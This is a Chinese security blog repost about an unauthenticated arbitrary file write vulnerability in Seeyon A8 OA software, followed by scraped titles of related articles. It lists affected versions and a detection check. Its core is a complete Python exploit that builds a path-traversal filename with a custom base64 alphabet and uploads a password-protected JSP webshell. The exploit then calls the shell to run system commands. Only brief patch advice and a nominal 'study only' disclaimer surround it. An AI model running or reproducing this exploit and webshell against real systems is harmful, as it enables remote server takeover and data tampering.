致远A8任意文件写入漏洞_getshell_exp

近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件,写入成功后可执行任意系统命令进而控制目标服务器。

目前已知易受攻击的版本:

致远A8-V5协同管理软件 V6.1sp1
致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
致远A8+协同管理软件 V7.1

如果成功利用此漏洞的攻击者可以在目标系统上写入任意文件,执行任意代码,更改或删除数据。

值得注意的是该系统的默认权限很高,如果被攻击者成功利用则可能会造成很大的危害。

验证是否存在漏洞的方法:访问URL /seeyon/htmlofficeservlet 出现如下内容可能存在漏洞

DBSTEP V3.0     0            21               0             htmoffice operate err

下面贴上一段野外poc:

该poc仅供学习研究,请勿破坏他人计算机!

Poc首先是加密写入文件的路径,然后再获取加密后的路径写入任意文件Getshell

python:

 1 #coding=utf-8
 2 import sys
 3 import requests
 4
 5 def encode(origin_bytes):
 6     """
 7     重构 base64 编码函数
 8     """
 9     # 将每一位bytes转换为二进制字符串
10     base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
11     base64_bytes = [‘{:0>8}‘.format(bin(ord(b)).replace(‘0b‘, ‘‘)) for b in origin_bytes]
12
13     resp = ‘‘
14     nums = len(base64_bytes) // 3
15     remain = len(base64_bytes) % 3
16
17     integral_part = base64_bytes[0:3 * nums]
18     while integral_part:
19         # 取三个字节,以每6比特,转换为4个整数
20         tmp_unit = ‘‘.join(integral_part[0:3])
21         tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
22         # 取对应base64字符
23         resp += ‘‘.join([base64_charset[i] for i in tmp_unit])
24         integral_part = integral_part[3:]
25
26     if remain:
27         # 补齐三个字节,每个字节补充 0000 0000
28         remain_part = ‘‘.join(base64_bytes[3 * nums:]) + (3 - remain) * ‘0‘ * 8
29         # 取三个字节,以每6比特,转换为4个整数
30         # 剩余1字节可构造2个base64字符,补充==;剩余2字节可构造3个base64字符,补充=
31         tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
32         resp += ‘‘.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * ‘=‘
33
34     return resp
35 def getshell(urls):
36     url = urls + "/seeyon/htmlofficeservlet"
37     headers = {
38         "Pragma": "no-cache",
39         "Cache-Control": "no-cache",
40         "Upgrade-Insecure-Requests": "1",
41         "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
42         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
43         "Accept-Language": "zh-CN,zh;q=0.9",
44         "Connection": "close",
45     }
46     file_name = encode(‘..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\checkload32.jsp‘)
47     payload = """DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV\r
48 OPTION=S3WYOSWLBSGr\r
49 currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r
50 CREATEDATE=wUghPB3szB3Xwg66\r
51 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r
52 originalFileId=wV66\r
53 originalCreateDate=wUghPB3szB3Xwg66\r
54 FILENAME="""+file_name+"""\r
55 needReadFile=yRWZdAS6\r
56 originalCreateDate=wLSGP4oEzLKAz4=iz=66\r
57 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("zs".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce"""
58     requests.post(url=url,data=payload,headers=headers)
59     result = requests.get(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd+/c+echo+ZuoShou_Jsp_Shell")
60     if ‘ZuoShou_Jsp_Shell‘ in result.text :
61         print(u‘Jsp:Getshell成功\t{}‘.format(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd /c whoami"))
62     else :
63         print(u‘Getshell失败‘)
64 if __name__ == ‘__main__‘:
65     if len(sys.argv)!=2 :
66         print(u"\t\t用法:python poc.py ‘http://loaclhost‘")
67     else:
68         url = sys.argv[1]
69         getshell(url)

修复方案:

1:对路径 /seeyon/htmlofficeservlet 进行限制访问

2:及时联系官网打补丁http://www.seeyon.com/Info/constant.html

原文地址:https://www.cnblogs.com/zuo-shou/p/11161479.html

时间: 2024-10-08 01:14:44

致远A8任意文件写入漏洞_getshell_exp的相关文章

ActiveMQ 任意文件写入漏洞(CVE-2016-3088)

标题:ActiveMQ 任意文件写入漏洞(CVE-2016-3088) 日期:2018年08月11日 介绍: 使用 docker 复现该漏洞 /Users/v/Downloads/vulhub-master/activemq/CVE-2016-3088 0x01. 基本信息 使用 docker 搭建环境 vulhub/activemq at master · vulhub/vulhub · GitHub 环境会监听 61616 端口和 8161端口,8161端口是控制台. 搭建好以后,本机访问

漏洞复现 - ActiveMQ任意文件写入漏洞(CVE-2016-3088)

漏洞原理 fileserver是Apache ActiveM提供的一个RESTful API接口,可通过GET.PUT.DELETE等HTTP请求对文件进行读写操作,设计目的是为了弥补消息队列操作不能传输.存储二进制文件的缺陷,在文件操作过程中出现了任意文件读写漏洞. 影响版本 5.12.x之前的版本. 复现环境 将ActiveMQ部署在MAC上,使用版本为apache-activemq-5.11.1,JDK版本为1.7 复现过程 启动ActiveMQ,并尝试上传jsp木马,返回401,上传时失

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

TEC-004-php文件下载任意文件读取漏洞修复

修改download?u参数值,将/public/files/14842030529.txt,替换为../../../../../../../../../../etc/passwd    function download() {        $u =$_GET['u'];        // 描述: 任意文件读取漏洞修复  date: 2017年4月28日 下午4:13:39  bylwy        $lenth=strrpos($u,'.');        $string = sub

Discuz!X 3.4 任意文件删除漏洞复现过程(附python脚本)

今天看下群里在讨论Discuz!X 3.4 任意文件删除漏洞,自己做了一些测试,记录一下过程.结尾附上自己编写的python脚本,自动化实现任意文件删除. 具体漏洞,请查看 https://paper.seebug.org/411/ 0x01 环境搭建 到官网下载Discuz 3.4版本,phpstudy 本机搭建,并注册账号.站点根目录新建111.txt,作为删除的目标文件. Discuz 3.4下载链接:http://www.discuz.net/thread-3825961-1-1.htm

PHPMailer命令执行及任意文件读取漏洞

今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下. PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033

【代码审计】两个任意文件读取漏洞实例

0x00 前言 0x01 漏洞实例一 环境搭建: XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw 代码分析: 1.漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行: public function edit() { $ft

Discuz!X 3.4 前台任意文件删除漏洞复现

Discuz!X 3.4 前台任意文件删除漏洞复现 参考链接: http://www.freebuf.com/vuls/149904.html http://www.freebuf.com/articles/system/149810.html http://mp.weixin.qq.com/s?srcid=0930uM1OtfeAsXwHRrfZBIyo&scene=23&mid=2650942631&sn=12a3c55807768f12fcd1b306fdf775d8&

【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

  0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/cltphp 默认后台地址: http://127.0.0.1/admin/login/index.html 默认账号密码: 后台登录名:admin  密码:admin123 测试网站首页: 0x01 代码分析 1./app/admin/controller/Database.php  第221